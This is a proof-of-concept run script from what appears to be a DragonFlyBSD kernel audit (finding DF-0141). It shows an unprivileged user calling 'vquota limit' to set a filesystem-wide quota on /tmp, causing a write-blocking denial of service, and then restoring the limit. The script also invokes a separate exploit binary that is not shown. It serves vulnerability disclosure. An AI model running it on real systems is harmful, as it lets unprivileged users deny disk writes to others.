DragonFlyBSD Kernel Audit
DF-0141 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0141 run script — demonstrates the missing privilege check.
# Precondition: vfs.quota_enabled=1 (boot tunable, admin setup) and a
# quota-enabled mount (tmpfs /tmp qualifies on a default install once
# the tunable is set). Run as an UNPRIVILEGED user.
#
# Usage: ./run.sh [mount-path]    (default: /tmp)
set -e
cd "$(dirname "$0")"
MOUNT="${1:-/tmp}"
echo "running as: $(id)"
./df0141_poc "$MOUNT"
echo "--- DoS end-to-end demo ---"
echo "[unpriv] set $MOUNT fs-wide limit=100000"
vquota limit "$MOUNT" 100000
echo "[unpriv] write 1KB -> expect 'Disc quota exceeded'"
dd if=/dev/zero of="$MOUNT/df0141_dostest" bs=1k count=1 2>&1 || true
echo "[unpriv] restore limit=0"
vquota limit "$MOUNT" 0
rm -f "$MOUNT/df0141_dostest"